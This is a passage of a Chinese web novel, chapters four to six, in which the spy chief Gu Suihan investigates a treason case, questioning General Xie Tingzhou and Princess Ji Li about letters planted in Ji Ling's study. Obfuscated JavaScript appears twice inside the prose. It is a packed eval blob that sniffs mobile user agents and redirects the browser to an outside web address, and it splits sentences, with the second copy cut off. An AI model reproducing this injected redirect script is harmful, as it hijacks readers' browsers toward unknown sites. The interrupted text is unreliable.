“你知道的吧,阿泠从落棋阁出师后不久就来我的定北军里做军师了。说是军师,其实是落棋阁放在定北军里的一个信息桩子,很多白棋从北边传回来的消息都要从她那里经手,所以她平时也挺忙的。我只是有几回听她说的……” 说到这里,宋安澜的表情复杂了起来,斟酌着词句说:“她说以前不是很喜欢你,因为……因为……唉,我是个粗人,我就直说了吧。” 她纠结半天词句无果,自暴自弃了起来:“你比她早两年入阁,你转白棋的时候她正好刚刚进白棋。你也知道的,你天资比较好,阁中次次小比都是白棋第一,她……不太自在,后来她转去黑棋了,你俩不一起小比,她跟你的关系才好起来。不过现在看你意思……或许她一直是自己闹别扭,没跟你说过?” 顾岁寒顺着她的话想了想,还是毫无印象,诚恳道:“或许吧,但我真的不记得了。” 听见她说“不记得”,宋安澜看着她的脑袋,忧愁地叹了口气,随即听见顾岁寒又开口问:“所以,殿下的意思是……阿泠曾经是白棋,后来转去黑棋了?那不是跟我正相反吗。” “嗯,对呀,”宋安澜顺口答,“你俩还是表亲呢,阿泠的母亲顾清文是你的姑姑。如果我没猜错的话你俩小时候应该还认识吧。” 这个信息让顾岁寒表情崩裂了:“啊?” “对啊,你小时候就挺聪颖的。阿泠的父亲对她要求严,老拿你做比,所以长大以后阿泠才总拿你做比较折腾自己吧——当然,后半部分是我猜的,阿泠没直说过。”宋安澜耸耸肩,身上的轻甲随着发出轻微的哗啦声,“不管怎么说,阿泠这件事还请你多多费心了,不管是从哪个角度,我都找不到比你更合适的人拜托了。” 顾岁寒疑道:“那……姬昀将军、谢停舟将军呢?” 这两人一个是苦主兄长,一个是苦主的未婚夫,难道不是都被她一个记忆全无的前“竞争对手”靠谱吗? “这个,”宋安澜面露为难之色,“姬昀的事我确实要抱歉,他要去西疆查一件更重要的事,所以暂时无法随行;至于谢停舟……说真的,我不是十分信任他。” “阿泠因为通敌而被诬告,但我相信她不是那样的人。可是落棋阁被袭、阿泠书房中来路不明的信件,这两件事背后必另有主谋。谢将军虽然是阿泠的未婚夫,但两人之间并非两心无间,两人的婚约其实是阿泠用于请他出山镇守西疆的手段之一。” 听到这里顾岁寒没忍住打断:“‘请他出山’?谢停舟……将军身上难道有什么过人之处不成?” 昨天她远远看了一眼,单从身形上看只是一个高挑的普通儒生啊? 问起这个宋安澜的表情就更复杂了,羞-耻和屈辱交替从她脸上闪过:“西疆的滇国……是妖族的地盘。妖族大多身形矮小瘦弱,单纯硬碰硬不足为惧,但是妖族中有很多旁门左道之士,尤擅阵法蛊虫之类。我朝自南退之后为求复国,一直在民间推行体修,阵法心术之类的反而荒废了……” 顾岁寒:“所以就需要一个擅长阵法的人帮忙镇守西疆。” “对,”宋安澜呻-吟了一声,“谢停舟自小拜师青城山的无有真人。无有真人是当世阵法大师,百年来无人能出其右,但是他早早便已立誓不入红尘。所以阿泠就找到了他的关门弟子谢停舟。” 顾岁寒若有所思地点点头。 偌大一个国家,曾以修道为尊,如今却因亡国之危而推行武备到举国上下找不出一个好使的阵法术士……确实很难说是好是坏。 “但是这个无有大师,”宋安澜强调了一下“但是”,“据传言他曾有一个北周的爱人,这就是我不信任谢停舟的原因。当然我也不是给他定了罪,他毕竟是镇西军的副将,我相信阿昀的眼光不会有大问题。我只是提醒你,此次宋礼虽然指派他协助你,你也要多多提防。” “是。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195753|165650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾岁寒应了下来。之后两人就没再说什么闲话,镇北军中有人来找宋安澜,军机要务不方便说与外人听,顾岁寒自觉地埋头吃饭。 宋安澜在北地驻军久了,饮食习惯也随着走,简单一道炒青菜里加了致死量的盐巴,杀得菜盘里都是水。顾岁寒虽然受伤之后味觉不甚灵敏,但也吃不惯这重口,所以一味地吃干馒头,几口下去就饱得差不多,匆匆告辞了。 走在侯府路上,她本来想回房休息休息,但想了想脚步又拐向了缩地阵。侯府里直通落棋阁的缩地阵是她常住侯府后宋安澜特意为她设的,开阵的口诀也只告诉了她一个。有这份真心在,顾岁寒很难扔下南都的事一走了之,那不如速战速决,把人情还完了再作打算。 过缩地阵时有一种被人从后面猛推了一把的感觉,出来时顾岁寒踉跄了一下才站稳。北周奇袭一事之后,落棋阁就从原址搬来了现在这个小院,院子本身的风格跟定北侯府很像,但是这个院子的地基上叠了空间法阵,所以显得格外大。正值早课,几片空地上都有人在练武,见她过来,众人纷纷放下手中武器行礼。 不远处的一个小院门外,一个小厮打扮的少年见她过来,眼睛一亮,屁颠屁颠地赶上前来:“执棋!执棋!我们家侍棋找您!” 落棋阁的人都没有用小厮的习惯,所以这侍棋必然就是文士出身的谢停舟。虽然宋安澜丑话在前,她却对这温文儒雅的谢停舟没什么坏印象,更何况此番查案,他是必然要合作的搭档之一,不如早试试深浅,于是施施然地跟着小厮进了院门。 一进院门,一股水汽就铺面而来。这小院地势微微下陷,借了外面大院里的活水造了一口小小的瀑布,水声泠泠作响。顾岁寒正感慨修道的就是有品味,就见那小厮停下脚步,手引向前:“执棋大人,我家公子平日这时应该在画符。公子画符时不喜我吵闹打扰,还请大人自行前去,贺云先告退了。”说罢垂手立于一旁,显然是不会再向前带的意思。 不让自家小厮打扰,却让我一个外人来找,这是什么道理?顾岁寒一头雾水,顺着廊道一路向前,竹林深处有一处小亭,亭中人背对着她席地而坐,一身缟素,垂手提气落笔,笔势缓慢而沉静。 顾岁寒虽记忆所剩不多,但是做白棋的敏感还在,认人几乎是过目不忘,对谢停舟背影自然也不陌生。她停在了十步之外,担心自己贸然上前打断谢停舟画符时的那股气劲,让他功亏一篑。没想到对方似乎是听到了她的脚步,画完那笔后就将笔架到了一旁的笔山上,转过身站起来来行了一礼:“顾执棋安好。” 随后一手揽袖,另一手平摊,掌心向上,示意了一下对面的竹席,很明显是邀请她坐下来长谈的意思。顾岁寒顺着他的手坐了下来,对方一挥手,桌上的笔墨纸砚便自动归纳至一边。他又从旁边取来一套茶具,布好后为她上茶。 顾岁寒就这样看他忙来忙去,并没有上手帮忙,反而是闲聊般开口:“谢侍棋好雅兴,方才画什么符呢?” “只是平安符,没什么用处,时常练练修身养性,让自己不至于手生罢了。”说这话时谢停舟微微前倾为她上茶,棕褐色的茶水随着他的动作从玉色的壶嘴流出。注意到她的眼神,谢停舟微微一顿:“——在下脸上有什么东西吗?执棋一直盯着看。” 其实她是在看他的手。不过顾岁寒没解释,随口道:“谢侍棋生得好看。” 这是实话,谢停舟眼似平湖,鼻若悬胆,脸色白净,手也很修长,虽然说不上潘安宋玉之貌,但也长得赏心悦目。没想到被她这么夸,谢停舟脸色微微发红:“在下,在下……执棋谬赞,在下只是能堪堪入目罢了,执棋用茶,这茶是在下师尊赠予在下的,滋味甚美。” 顾岁寒拿过茶盏,浅浅品了一口。她对品茶也不甚了解,不过这茶回甘悠远,比宋安澜那个粗人府上的大叶子茶强出不少,于是赞叹道:“好茶。” 她喝茶时,谢停舟也在观察她。他出山时顾岁寒已经出师好几年,成了一个神出鬼没的间谍,所以他对她的了解完全来自姬泠。 他至今都记得那个冬夜,他们俩并肩坐在房顶上,面前是一片不见边际的雪原,回头可以远远看见青州府的瞭望塔。天地间一片白茫茫,隐隐有定北军巡逻的声音传来。 姬泠抱着酒壶,面色微红,眼神却很清醒。她看着前方,明明视野里什么都没有,她的目光却像穿透了千山万水一样澄澈而惆怅。 她说:“停舟,我感觉,我又被困住了。” 5. 第四章 青玉案 四 那天他刚刚结束了一班巡逻,怀着一颗有点雀跃的心回到了营地,宋安澜却告诉他姬泠已经出去了。失落之下,他打听了一下她出去时大概的方向,就信步走了出去。 不知是心有灵犀还是那天他运气好,没走出去半里地,他就在一处破败的村庄看见了房顶上的她。听见脚步声,她回过头来,见到是他也很吃惊。她没问他为什么过来,而是笑了笑,扬了扬手里的酒壶:“一起来吗?” 鬼迷心窍似的,他浑浑噩噩地上了房顶,坐到了她旁边。那天她穿着阁里统一派给黑棋的黛青色便衣,头发长得有点长,扎成马尾后还能到半腰。他在房顶上走独木桥似的歪歪扭扭,差点一脚踩到她垂在后面的头发。 这一脚把姬泠逗笑了,反而让他不好意思起来。他赌气似的用肩膀轻轻顶了她一下:“怎么一个人跑出来了?我还想着回营找你呢。” “怎么,我要干什么还要和谢将军禀告吗。”姬泠开玩笑似的轻轻打了他肩膀一下,把手中的酒壶放到两人中间,平底的酒壶在半圆弧的瓦片上稳稳立住了,“来尝一点吗?用北地的果酱加水兑的酒,不怎么醉人。我今晚还有事,不能多饮。” 她的语气不对。谢停舟微微侧身看着她的脸,问:“怎么了?你平时不喝酒的。” “没怎么,”她别开脸去,“阁里有点事情,不打紧。我只是去界碑那边逛了一圈,看了看大结界,和父亲母亲聊了聊。” 大结界是伫立在盛周之间的边界线上的一片结界,从东到西蜿蜒数千里。这结界能过人,但是不能过“气”。 周朝多魔修,魔修依靠人心中的恶念修炼。人无完人,所以魔修的修炼速度往往远远快于需要清心寡欲、破立自身的盛朝修士。不仅如此,魔修修炼时会产生一种“浊气”,“浊气”会使盛朝修士修炼时不再心如明镜,修炼大打折扣,时间长了还会影响平民百姓的健康。 盛朝南退之后,急需休养生息,所以建立结界筛除北朝浊气迫在眉睫。那时谢停舟的师父无有大师还没有归隐。他带着自己的几个弟子勘探山川,最终画下了大结界的阵型。 这阵型由数个小阵组成,小阵利用山川灵气自然运转。但最后合阵时无有大师却犯了难——有几处小阵之间彼此相距太远,用草木灵气链接过于勉强。落阵的吉时迫在眉睫,无有大师没有办法,就返回朝中找先皇宋云起说明了难处。 先皇听说之后,忙召集手下的几位将领和谋士商量对策,这其中就有姬泠的父母。这对伉俪在宋云起还是个皇子时就与他交情颇深,在宋云起麾下征战十数年。听闻了这件事,姬父提出,前朝曾有修士生祭阵法来稳固阵法的先例,不如如今就让他夫妻二人一试。 “其实我至今都太明白他们二人是怎么想的。”姬泠深吸了一口气,“当时他俩说完要生祭阵法的话,今上就立马阻拦了。他俩居然私下联系了无有大师,当夜就奔赴边境以身饲阵,抛下了我和我兄长,两个不到十岁的孩子。” “我实在无法理解这种堪称着了魔一般的献身。” 谢停舟不知道怎么安慰她,只好微微拢住了她的后背。 “不过我现在好像也能明白了一点了。”姬泠摇了摇头,“小时候他俩对我要求严苛。我胎里弱,据说生下来跟个瘦猴似的,他俩也没因为这对我宽容半分,说什么人生于天地,当报于家国,文治武功没让我落下过。” “我那么大一点,知道什么家国。”姬泠哼笑了一下,说不好是嘲讽还是悲伤,“小时候我顺着顾梅臣的路子追,因为他俩说要我以她当榜样,后来我也能上战场了,或许也立下了一些功劳吧,渐渐地觉得似乎也不负他俩的教导了。” 她偏头看向了谢停舟:“不过今天……我忽然有点觉得,这一切都有点没意思。” 她话说得含糊,谢停舟没能完全听懂,但是他知道再追问下去可能就是落棋阁自己的密辛了,所以聪明地没有再追问。他换了个方向问:“为什么没意思?” 这个问题似乎难倒了姬泠。她歪着头想了很久,忽然一撂酒壶大笑起来:“这谁知道呢!可能是以前眼界小吧,心也狭窄,眼睛里老装着那点事不放,我父母,还有顾梅臣,他们的一点小事、一句话就够我纠结好久。今天忽然觉得,这些又算得了什么呢!” 说完她就站起来,跳下了屋顶,把不擅武功的谢停舟扔在了后面,背身挥了挥手,声音搁这风雪遥遥传来:“……人生一世,都算不了什么!” 那天她到底想通了什么,谢停舟至今都不知道。他俩虽然订了婚,但毕竟只是他一厢情愿更多,许多事情,他探听起来是没有资格的。但是从两人几次的交谈里,他人的描述中,他听闻这位顾执棋是一个惊才绝艳,功劳赫赫的人。可是如今看来,她脸色苍白,身形瘦削,看起来也并没有传说中那样神通。 他忍不住为姬泠感到不值当——原来只是这样的一个普普通通的、没有三头六臂的人,就可以成为另一个本应意气风发的人大半生的心魔了吗?这也太荒谬了。 顾岁寒不知道对面的人谈笑间心里转过了这么多小九九,只是觉得这人把她叫来又不说事,于是讲茶盏轻轻放下提醒道:“谢侍棋。” 谢停舟这才想起来今天的正事:“今日在下寻执棋过来,是来商量阿泠一案具体应当如何着手的。” 说到这里他觑了一眼顾岁寒的神色,见她并没有什么抗拒的表示,不由得放下一半心来:“解铃还须系铃人,阿泠一事起于姬漓公主的检举,我打算从公主处着手。” 姬泠一案中,正是她的亲妹妹姬漓从她书房中搜出了她和北周往来的证据,所以谢停舟打算从她处入手。 顾岁寒却另有看法:“我回阁中之后曾经查过那些信件,信中往来大多是指挥归雁台如何潜入落棋阁中偷走碎曦剑。而在通信之后不久,总舵就如信中所指挥那般被生生血-洗。假若姬泠阁下实属冤枉,那么通信往来的也必有他人,不然总舵不会如此轻易地被归雁台找到。若真如谢侍棋一般从头查起,那从总舵被血-洗一事起手岂不更好?” 谢停舟摇了摇头:“执棋所言有理,但总舵血-洗一案中,所有亲历者都已然魂归黄泉,无从查起,公主夫妇目前却是双双健在。公主作为阿泠亲妹却指使其夫弹劾阿泠,其背后必有缘由,我定要探究清楚。” “所以,”顾岁寒抓住了他话里的重点,“你最关心的压根不是姬泠清白与否,因为此事在你心中早有定论。你其实只是记恨那些在你心目中污蔑了她的人,对吗?” 被人点出内心深处的心结,谢停舟却并不慌张,直视着顾岁寒的眼睛道:“或许吧。但我以为这是人之常情,大人。” 顾岁寒看着他的脸,若有所思。本来按宋安澜的意思,她以为姬谢二人只是政治联姻、一时之计,但现在看来至少这位谢停 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这话里似乎有些不开心了。谢停舟敏锐地意识到这一点,仔细想想才发现自己话里话外全然把自己这新上司忘在了一边,忙补充道:“此案中真正的细作若能查清,落棋阁中的隐患亦能排除。执棋统管全阁,此后阁中上下一心,对执棋自然有利无害。” “嗯哼,”顾岁寒从鼻子里哼了一声,歪头看着对面快要伏到桌子上的谢停舟,“但我从北周回来后百病缠身,对阁中诸事也并不像侍棋想的那样上心。说不定过些日子我就找陛下请辞,找个山清水秀的地方安度余生。” “执棋此言差矣,”谢停舟仿佛早就准备好了应对之词,“在下虽未曾和执棋共事过,但执棋自病中苏醒后,一月内就回到阁中重新掌事,说明执棋对阁中并不像执棋所说那般毫无感情,执棋万万不要说气话。” ……这叫什么气话,我怎么不知道自己生气了。顾岁寒被气笑了。但是谢停舟说得没错,她确实对落棋阁有感情,不然昨晚也不至于辗转反侧这么久。 虽然她忘记了很多事,但对这个地方的依恋好像刻入灵魂般,让她在醒来后回来的第一天就感到了本能的熟悉。 听说幼鸟在出生后的第一个秋天时就能准确地迁徙到族群万万年以来越冬的山林,她对落棋阁或许也是同理。 “好,我答应你。”她说,“我会以落棋阁执棋的名义,给姬漓府上递拜帖。” 不过这里她犯了一个错误。 不同于宋安澜和姬昀——姬昀住在宋安澜的定北侯府上,姬漓事实上在她夫君韩玉青的尚书府。 “啊,为什么?”听到这个消息,顾岁寒停下了写拜帖的手,疑道,“本朝惯例,公主出降后不是在宫外另辟公主府吗?” 在一旁的蒋奚挠头:“对啊,但是姬漓公主不是正经公主,她是父母牺牲后被先帝认下做义女的,只是有公主封号而已,没有实权的。” “父母牺牲……”顾岁寒喃喃道,心中模模糊糊有了印象,“——她父母是祭大结界牺牲的,对吗?” “对对,”蒋奚喜笑颜开,“难得有件事您记得了。那二位祭阵后,先帝心善,怜她兄妹三人孤弱,所以一同接入了宫中,给姬昀将军封了个世袭的侯位,将姬泠姬漓二人封作了公主。那时姬漓公主还是个话都说不明白的小娃娃呢。” “这样——”顾岁寒若有所思,“你给我多讲讲这几位的事吧,这样我上门拜访心中好也有数。” 6. 第五章 青玉案 五 “公主家……的事?”蒋奚嘴一瘪,十分为难的样子。顾岁寒一挑眉:“怎么,我记得阁里不是有记录每位朝臣家中状况的册子吗,没有姬漓家的?” “哦哦,那倒不是。执棋你相信我,我每本专门的册子背得都清清楚楚,但是姬漓公主家里吧,这情况实在是有点特殊。” 顾岁寒闻言诧异道:“这有什么特殊的?韩玉青不举吗?” 她本意是想开个玩笑,但显然对方没有体会到她的意思,只是正色道:“执棋你不要开这种玩笑。不是您猜的原因,姬漓是姬泠执棋的妹妹,也是姬大将军的亲女儿,所以无论是首晟执棋还是姬泠执棋都指示过少盯姬漓公主家里的事,不要拿她当一般臣属似的盯。” “哦,这样。”顾岁寒若有所思,“也正因如此,你们对姬漓从姬泠房中偷信一事毫无防备,也就被韩玉青的弹劾打得猝不及防。” “嗯……可以这么说,是属下们疏忽了,”蒋奚面上露出为难来。可紧接着,她就意识到顾岁寒话里的深意,惊惶道,“执棋您是怀疑姬漓公主吗?不会的不会的,姬漓公主平时与人为善,尝尝在府外亲自施粥,百姓中名望颇高。而且她和姬泠执棋的关系很好,她们姊妹经常抵足而眠,她不会坑害姬泠执棋的!” “我没说是她啊,你急什么,”姬泠莫名其妙地看了她一眼,“更何况你刚刚说的这些也证明不了什么,与人和善可能是伪饰,关系好也可能是为了背后递刀,你作为白棋,为什么会这么轻信于人?” “我,我……”蒋奚涨红了脸,显然被顾岁寒过于直白的话语打击得不轻。她嗫嚅半天,顾岁寒也没什么耐心了:“算了,蒋奚,日后多盯盯姬漓府上吧。倘若她真没什么异样,再放松不迟。” “可,可是,”蒋奚有点惶然,“真的不可能是她的!执棋,您去她府上拜会时就能知道了。那韩玉青人面兽心,对公主多有打压,有时甚至辅以拳脚。这事就算是韩玉青干的,也不会是公主啊!” “什么?”顾岁寒本来都打算走了,闻言停住了脚步,“……等等,就算韩玉青人高马壮,公主的身份摆在那里。就算韩玉青不惧她在军中的兄长和姐姐,姬大将军祭阵的功勋放在那里,他敢这么对待忠烈女,不怕被唾沫星子淹了吗?” “没有,”蒋奚颓然道,“其实朝中不少人都暗中赞叹韩尚书驯妻有道。之前也有很多臣子上书参过韩尚书,先皇宠爱姬漓自然不能坐视不管,当场就要剥了韩玉青的官身叫两人和离,结果圣旨下来的前一-夜公主亲自入宫,跪求先皇收回成命,说自己心许韩玉青不改。姬小将军和姬泠执棋先后都去劝过,但是公主就是铁了心不改。” “这……这……”千言万语在顾岁寒的舌尖滚了一圈,最后只剩一句,“这也太荒唐了!” “就是说啊,执棋,”蒋奚一摊手,“姬泠执棋还在阁中时我见过几次公主,好像是来找执棋玩乐的。我远远看着她,都觉得焦急。执棋,您这回去尚书府上拜会看看就知道了。” 顾岁寒和谢停舟二人的拜帖送到韩玉青的尚书府上之后,次日就得到了回应。韩玉青回帖的语气彬彬有礼的。事实上他在朝野中的风评一向不错——这是问过蒋奚之后顾岁寒又去阁中的储藏室查的——他年少成名,十六及第,在状元郎游街时被姬漓看中,随后先帝就为他们俩赐了婚。 之后韩玉青在朝中也是一路高升,撇开他家中事不谈,他入仕十三年以来政绩斐然,几乎毫无污点,同僚们对他的评价也都颇高,夸他外貌“君子如玉”的有,夸他处理政事“如行云流水,议政一针见血”的也有。 但就是这样一个几乎毫无污点的好人,居然会对他的妻子施暴,这件事在外人看来堪称荒谬无比。姬泠看着手上的回帖,越发觉得此事扑朔迷离。 上他人府上拜会肯定不能再用传送阵了,蒋奚支使一个叫小八的白棋男孩套了辆马车驾过来。顾岁寒出院门时就看见那男孩穿着白棋统一的制服,坐在车辕上露着白牙笑,大声道:“执棋大人!小八为您驾车!” 顾岁寒微微点了一下头以示回礼,低着头钻进车帘时发现谢停舟已经坐在里面了。他今天没有穿那套素服,而是换了一套湖蓝色的长袍,在头上戴了白簪子以示戴孝。顾岁寒坐到了他对面,随口寒暄道:“谢将军和姬泠执棋感情很好吗?” 这句话她本意只是起个话头,谢停舟对姬泠用情深的事顾岁寒早已从别人口中听过不少次,谢停舟自己的态度也佐证了这一点。没想到谢停舟似乎将这话当成了某种质疑,硬邦邦地说:“当然!” 话一出口他显然也意识到了自己反应过激了,话音软下来找补道:“……抱歉。我的意思是……其实更多的是我追求阿泠更多。” “啊,这样。”顾岁寒顺着他的话接道,“看来姬泠执棋应该很有魅力吧。” 谢停舟却没有直接回答,而是纠结了起来:“好像也不是的。” 顾岁寒挑眉:“嗯?” 但是谢停舟却没有再说的意思了。他只是摇了摇头,目光移向了车帘那边,问小八:“大概还要多久?” “还要一会,大人!”小八活泼的声音顺着风传了进来,“咱们阁在南都东门外面一点,韩尚书的府在西门巷子那里,要穿过一整座南都呢!” “南都固然小,马车走也要不少时间呢。”顾岁寒感叹道,“还是御剑或者用传送阵比较方便。” “御剑不行的,南都上空有阵法,御剑禁行。”说完谢停舟又抱歉地笑了一下,“是我多言了,这种事执棋应当知道吧。对了,南都很小吗?我自出生起就在南都了,一直以为南都就是极致的繁华了。” 顾岁寒听他反问,不由得也愣住了。她似乎也未曾见过比南都更大的城池了,但不知为何,南都比北都朝歌小似乎是她下意识的反应般出现在了嘴边。顾岁寒不确定道:“我……应当是去过北都的。” “北都……是叫朝歌吗?它的城楼似乎就比南都高五六丈,虽然比南都寒冷,但是东市、西市、还有南北两个街坊都比南都宽敞出去许多,禁宫檐牙高啄,与南都临时建的行宫也大不相同。或许……我还做白棋时曾去过?” “这样,”谢停舟轻轻叹了口气,“希望我朝能有重返旧都的一天吧,总在南地蜷缩着,这算什么事呢。” 之后两人便没有再说话了。狭小的车厢里只有马蹄声、车轮声、还有小八偶尔哼两声小曲的声音。虽然酷暑已经过去,但是下午这会还是十分燥热,街上也没什么人行走。小八娴熟地挑了几条荫庇的巷子走。 过了大约一炷香时间,小八一拉缰绳停下了车:“两位大人,到韩府啦!” 谢停舟率先下了车,顾岁寒皱眉,跟在后面撩开了车帘。下车时,她习惯性和小八道了声谢,小八愣了一下,笑眼弯弯地受了。 听到她道谢,谢停舟微微侧头,随后似乎才意识到谁是此行的主官,让开道路躬身请她先行。后面小八拴好马,也亦步亦趋地跟上前来。 这谢停舟先是在车上因为姬泠的事小小顶撞过她一回,如今又是没顾上她先下了车。不过两回他都很快反应过来道了歉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一路上周围越来越安静,周围的花花草草也多了起来,空气都明显湿润许多。顾岁寒随口问:“你们公主喜欢芍药?” 路两旁的花卉以芍药为多。被问到这问题,那侍女跟没想到似的哆嗦了一下:“不……不是,是尚书大人知道公主喜花,所以时时移植时令花卉过来,最近七夕刚过,芍药正值花期,再加之芍药有相思之意,所以尚书大人命花匠换上芍药。” 顾岁寒微微挑眉。须知种花不是翻好土浇好水就可以了的事,想要花开得像这韩府上这般鲜妍,连种花用的土都颇有讲究。随花期换花换土的花销可不是小数目,想到外面关于韩玉青欺压公主一事,顾岁寒试探问道:“看来韩尚书对殿下颇为上心啊。” “是……是。”那侍女低着头匆匆地走,“尚书和公主少年夫妻,感情自然深厚。” 她行走间,身后半垂着的发髻随着步伐微微摆荡,露出了后脖颈上胭脂色的伤痕。 穿过一段被芍药环绕着弯弯绕绕的石子小路,侍女推开了一扇门扉,一股更加强烈的香气从门后迸发了出来。自苏醒之后顾岁寒就感觉自己的五感大不如前,朦朦胧胧的跟隔了一层什么似的,不知是不是什么后遗症。但即便是如此,这香气都呛得顾岁寒忍不住打了个喷嚏。 门后的院子里是芍药的花海。成百上千盆芍药在院中静静盛放。雪白的、朱红的、鹅黄的,层层叠叠不同颜色的花瓣几乎叫人目眩神迷。一个珠翠琳琅的背影在这花中微微低头,嗅闻其间的芬芳。听见开门的声音,她微微回过头来,露齿一笑:“大人光顾寒舍,恕本宫未能远迎。” 7. 第六章 青玉案 六 随着那一笑,一阵微风轻轻拂过满园芍药。盛装的公主站起身来,踏着花浪走向顾岁寒。 她实在是太美了。这是顾岁寒脑中唯一的想法。 醒来之后她不是在侯府就是在落棋阁,见过的女子大多素面朝天,舞抢弄棒,那是一种生机勃勃的美。但公主不同,她的美貌好像是一种稀世的珍宝,只可远观不可亵玩,仿佛往那一站就是一整个朝代的歌舞升平。 她明眸皓齿,皮肤就像珍珠一样泛着美丽的光泽,她向顾岁寒缓步走来时,身上的环佩发出有规律的声音,无处不彰显着她的教养与气质。 顾岁寒一下子就理解了韩玉青——假若她也有这样一位妻子,那即便叫她天天给人换花她也愿意。 公主停在了顾岁寒面前。她比顾岁寒矮一点,但直视顾岁寒双眼时那从容而自如的态度叫人有一种在仰视她的错觉。公主微笑道:“想来这位便是顾执棋了,本宫候你许久了。” 顾岁寒懵懵懂懂地跟着公主进了屋,与公主分坐在矮塌两侧,中间放了一张小几。公主素手纤纤为她倒上茶,出口的话却是语出惊人:“本宫知道执棋此行前来是为了查什么。执棋,本宫单独叫你前来是为了提醒你,小心谢将军,他不简单。” “本宫也是后来回味时才醒悟过来,阿姐书房中通敌信件一事,极有可能是谢将军一手策划的。” 这一点倒是和宋安澜的猜测重合了。顾岁寒心中微微一动,面上不动声色道:“为什么?” 随后,姬漓便将发现信件那日的经历娓娓道来。 三月十七,是姬泠和姬昀二人的生日。 姬泠和姬昀常年呆在军中,难得一起回京中一趟,恰逢兄妹二人的生日,姬昀干脆张罗着在姬泠的公主府上一起办了顿小小的家宴。 酒过三巡,姬漓实在是不胜酒力,在府上的后花园透风。姬泠府上的花园与韩府上的颇为不同,姬漓十分好奇,不知不觉间就绕了一整圈。正当她准备返回席上时,谢停舟忽然找上了她,说姬泠有事找她交代,在府上书房等着她。 姬漓便顺着谢停舟的指引去了书房。谁知到了房中,里面却是空无一人,姬泠压根不在。她原以为姐姐时因为什么支不开身的事走开了,于是准备在侧面的坐席上落座等待。谁知正走向座位时,她看见了主位桌面上墨迹未干的信。 鬼使神差之下,她走向了桌子,歪头读起了信中对当时的她而言堪称惊世骇俗的内容。 “所以公主的意思是,姬泠执棋将她通敌的信大喇喇地放在桌面上?” “对,这就是我怀疑的地方。”姬漓双手放在桌面上,身体微微前倾,急切地看着顾岁寒,“我不信阿姐是那样的人,她自小就是我的偶像,能文能武,她无所不能!我当时就拿着信去找阿姐,可是,可是——” 她整个人颓然地坐了回去:“我回到宴席上时,阿姐和阿兄都不在了。谢将军说,是京郊大营有急事,宋将军把他俩都叫走了。” “我不放心把那封信交给谢将军。我和他不熟,阿姐的生日宴是我和他第二次见面。”她喃喃着,像一朵枯萎下去的花,“玉青看我有心事,就问我是怎么回事。我如实说了。玉青,玉青就把我手中的信拿走了,随后,他偷偷去了姐姐的书房。” 最终,韩玉青弹劾姬泠时,举证的信总共有十三封之多。 “谢谢您提醒我,殿下,”顾岁寒伸手轻轻盖住了姬漓放在桌面上的手,那手背上满是冷汗。被抚摸时,姬漓下意识地想往后缩,但被顾岁寒安抚性地拉住了,“——但是殿下,我不得不提醒您,在您说的这一系列事中,谢将军看起来并没有嫌疑,他最多只是给您指了一条通往姬泠殿下书房的路而已。非要说的话,您夫君只是去了一下书房便摸出十二封信之多,反倒更奇怪吧。” 顾岁寒这里只是随口一提。小公主说的整件事情中,非要说最可疑的其实是那封明目张胆的通敌信。她对姬泠的印象所剩无几,所以不做评价,但是能干到落棋阁执棋这个位置上,姬泠绝对不会是一个傻瓜,哪怕她真的叛了国,也绝不会干出这么没戒心的事情。 假如非要查的话,其实查谁在姬漓前进过公主府的书房更合适——只不过如今已过去将近一年半了,想查恐怕也查不到了。 谁知姬漓听了这话,却是剧烈地一哆嗦:“玉青,玉青他不会的!我,我……” 她几乎是痛苦地蜷缩了起来,被顾岁寒压着的那只手也抽了回去,和另一只手神经质地绞在了一起。顾岁寒没想到自己随口一句话就引起这么大的反应,联想起之前外界那些关于他们夫妻之间关系不睦的传言,不由得试探道:“公主,您……怎么了吗?韩尚书是有什么不妥吗?” “不……不,没有,”三言两语的功夫,姬漓却像是突然找到了什么主心骨似的,深吸了两口气,慢慢平静了下来,“我知道外界常常有一些流言蜚语,但是您也知道,市井中的人,说什么都有可能。玉青他其实待我很好,执棋不必担忧了。今天就先聊这些吧,我还要照顾新来的那批芍药呢。不过我觉得我和执棋很投缘,不如改天再叙。” 这便是送客的意思了。顾岁寒本以为自己撬开了这悬案的一条缝隙,却没想到临门一脚出了岔子。但对方身份摆在这里,她也不好再深问,只好告辞。 公主一路送她到了院门口。她关上院门时,顾岁寒抵住了门扉,公主感到了手上的阻力,不由得惊讶抬头。 顾岁寒微微俯下身,直视着公主真诚道:“公主,韩尚书作为您的夫君,您夫妻之间到底如何我一介外人无权置噱。但是您的夫君为了自己的仕途,竟然将自己妻子的姐姐作为垫脚石,虽然大公无私,在下看来却是有些无情。” “殿下慎重。” 无视姬漓微微震动的眼神,她伸手关上了院门,随后向来时的方向走去。 走到来时和谢停舟分别的那个中庭时,谢停舟还没回来,整个中庭静悄悄的,只有风过树梢时哗哗的响声。 顾岁寒不打算在别人府上乱走,但是在这里枯等也十分无趣。她四下里看看,踌躇了一下,转身向进门的地方走去。 一出府门,人声便多了起来。那门童似乎还在里面没有出来,顾岁寒不禁纳罕——这尚书府上的仆从也太少得出奇了,似乎也不是十分训练有素的样子。 镇北侯府上的佣人不多,顾岁寒还勉强能理解,那是因为宋安澜和姬昀两个人平时都不怎么在京中,而且在行伍中呆惯了,凡事都亲力亲为,自然也不怎么习惯被人伺-候,所以府上之雇了一个帮忙洒扫做饭的老仆。但这韩尚书却是奇怪,府上有个金枝玉叶的公主,而且还常常有换花这样费时费力的大活,她此次拜访一路过去也没见到几个下人。 